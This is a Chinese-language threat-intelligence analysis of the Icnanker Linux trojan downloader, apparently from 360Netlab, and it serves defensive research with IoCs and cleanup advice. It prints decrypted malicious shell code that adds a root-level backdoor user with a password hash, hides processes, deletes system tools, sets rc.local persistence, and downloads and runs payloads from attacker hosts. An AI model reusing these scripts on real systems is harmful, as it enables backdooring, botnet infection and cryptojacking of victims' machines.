Icnanker, 一个使用了SHC技术的木马下载器

背景介绍


2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了"SHC(Shell script compiler)"技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。

此次攻击，在我们看来没有太多的新颖性，因此并没有公开。

2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为Icnanker。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:


 * SHC技术
 * Icananker的分类及其功能
 * Icananker分发的业务



概览


Icnanker是我们观察到的第一个使用SHC技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。

目前Icnanker的样本按照功能可以分成2大类：


 * Downloader
   
   Downloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。
   
   
 * Protector
   
   Protector用于保护样本不被删除，目前用于保护Miner。


Downloader的主要功能如下：


 * 持久化
 * 隐藏自身
 * 删除系统命令
 * 增加新用户
 * 下载执行具体业务样本


Protector的主要功能如下


 * 删除系统命令，保护自身不被删除



逆向分析


本文的选取的分析对象为以下2个样本，

187fa428ed44f006df0c8232be4a6e4e为Miner的Protector，

5790dedae465994d179c63782e51bac1为Elknot Botnet的Downloader。





MD5:5790dedae465994d179c63782e51bac1


ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped


Packer: No


Verdict:Malicious,Downloader






187fa428ed44f006df0c8232be4a6e4e

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped


Packer:No


Verdict:Malicious,Protector



在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的"SHC(Shell script compiler)"技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。



依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用UnSHc直接解密出脚本


[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
	[0] Working with var address at offset [0x80ed087] (0x2a bytes)
	[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
                            ...............
	[12] Working with var address at offset [0x80f1280] (0x13 bytes)
	[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
	[+] PWD address found : [0x80f12ed]
	[+] PWD size found : [0x100]
[*] Executing [__GHOST_URL__/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
                            ...............
[*] Executing [__GHOST_URL__/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!






Protector(187fa428ed44f006df0c8232be4a6e4e.sh)


#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0



在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。



Downloader(5790dedae465994d179c63782e51bac1.sh)


    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
                ...............
    echo "byicnanker 2228668564" > $Config
	tempfile=`cat $Config | awk '{print $1}'`
	filetemp="/usr/bin/$tempfile" #现马的路径
	filename=`date +%s%N | md5sum | head -c 10`
	filepath="/usr/bin/$filename" #新马的路径
	tempbash=`cat $Config | awk '{print $2}'`
	bashtemp="/usr/bin/$tempbash" #现脚本路径
	bashname=`date +%s%N | md5sum | head -c 10`
	bashpath="/usr/bin/$bashname" #新脚本路径
               ...............



此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。

由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。


 * 持久化，通过re.local实现自启动。


  # by icnanker -----------------------------------------------
  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
  if [ $Repeatstart != 1 ];then
  	lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
  fi
  if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
  	if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
  		lockr -i /etc/;lockr -i /etc/rc.local
  		echo "$bashpath start" >> /etc/rc.local
  	else
  		lockr -i /etc/;lockr -i /etc/rc.local
  		sed -i "s|exit 0|$bashpath start|" /etc/rc.local
  		echo "exit 0">>/etc/rc.local
  	fi
  fi



 * 隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。


if [ -f /bin/ss ];then
	if [ ! -f "$iss" ];then
		if [ ! -f "$issbak" ];then
			lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
			cp -f /bin/ss $issbak
			cp -f /bin/ss $iss
		else
			cp -f $issbak $iss
		fi
		chmod 777 $iss;chmod 777 $issbak
		lockr +i $issbak >/dev/null 2>&1
		lockr +i $iss >/dev/null 2>&1
	else
		if [ ! -f "$issbak" ];then
			lockr -i /usr/bin/;cp -f $iss $issbak
			lockr +i $issbak >/dev/null 2>&1
		fi	
		if [ -z "`cat /bin/ss | grep $Address`" ]; then
			lockr -i /bin/;lockr -i /bin/ss
			echo '#!/bin/sh' > /bin/ss
			echo 'iss|grep -v "'$Address'"' >> /bin/ss
			echo 'exit' >> /bin/ss
			chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
		fi
	fi
fi




 * 删除系统指令,增加修复难度。


lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr



 * 增加新用户(ntps),方便后续控制受害者机器


  # by icnanker -----------------------------------------------
  if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
  	lockr -i /etc/;lockr -i /etc/passwd #ntps
  	echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
  	lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
  fi
  if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
  	lockr -i /etc/;lockr -i /etc/shadow #tianyong
  	echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
  	lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
  fi



 * 下载执行具体业务样本,此处为Elknot Botnet。


  # by icnanker -----------------------------------------------
  iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
  if [ -z "$iptable" ];then
  	iptables -I INPUT -s $Address -j ACCEPT
  else
  	iptables -D INPUT -s $Address -j DROP
  fi
  process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
  if [ $process != 1 ];then
  	if [ ! -f "$filebak" ];then
  		lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
  		cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
  		cd $path;mv -f /usr/bin/htrdpm $filepath
  	else
  		cp -f $filebak $filepath
  	fi
  	Runkillallconnect
  	chmod 777 $filepath
  	nohup $filepath >/dev/null 2>&1 &
  fi



至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。

以elknot VS miner为例


elknot

ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' > /etc/resolv.conf
	echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
	echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
	lockr +i /etc/resolv.conf >/dev/null 2>&1
	service network restart;sleep 1
	Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
	Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm

-------------------------------------------VS----------------------------------------

miner

ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
	lockr -i /etc/;lockr -i /etc/resolv.conf
	echo 'nameserver 114.114.114.114' > /etc/resolv.conf
	echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
	echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
	lockr +i /etc/resolv.conf >/dev/null 2>&1
	service network restart;sleep 1
	Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
	Address="$ResolveIP"
fi
dget http[://xz.jave.xyz:22345/.xm



目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。





filename
md5
payload type
payload url




80
5790dedae465994d179c63782e51bac1
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm


.ds1;.ds2
6abe83ee8481b5ce0894d837eabb41df
miner
http[://xz.jave.xyz:22345/.xm


.ssh
89cd1ebfa5757dca1286fd925e0762de
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdpm


19880
d989e81c4eb23c1e701024ed26f55849
elknot botnet
http[://hfs.ubtv.xyz:22345/htrdps






业务样本


Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。


 * 
   
   
   Elknot Botnet
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   htrdps
   5c90bfbae5c030da91c9054ecb3194b6
   ubt.ubtv.xyz:19880, jav.jave.xyz:6001
   
   
   kcompact0
   eec19f1639871b6e6356e7ee05db8a94
   sys.jave.xyz:1764, jav.jave.xyz:6001
   
   
   
   

 * 
   
   
   Xor.DDoS Botnet
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   ss
   0764da93868218d6ae999ed7bd66a98e
   8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987
   
   
   
   

 * 
   
   
   Miner
   
   
   
   
   
   filename
   md5
   c2
   
   
   
   
   sh
   17ac3bd2753b900367cb9ee4068fe0c1
   
   
   
   .xm
   765a0899cb87400e8a27ab572f3cdd61
   
   
   
   
   



处置建议


我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。

相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。



联系我们


感兴趣的读者，可以在 Twitter 或者在微信公众号 360Netlab 上联系我们。



IoC list



Sample MD5


5790dedae465994d179c63782e51bac1
6abe83ee8481b5ce0894d837eabb41df
89cd1ebfa5757dca1286fd925e0762de
d989e81c4eb23c1e701024ed26f55849
5c90bfbae5c030da91c9054ecb3194b6
eec19f1639871b6e6356e7ee05db8a94
0764da93868218d6ae999ed7bd66a98e
17ac3bd2753b900367cb9ee4068fe0c1
765a0899cb87400e8a27ab572f3cdd61
187fa428ed44f006df0c8232be4a6e4e




CC


ubt.ubtv.xyz:19880 #Elknot
sys.jave.xyz:1764  #Elknot
jav.jave.xyz:6001  #Elknot
8uch.jave.xyz:3478 #Xor.DDoS
8uc1.jave.xyz:1987 #Xor.DDoS
8uc2.ubtv.xyz:2987 #Xor.DDoS
xz.jave.xyz:22345  #Icnanker HFS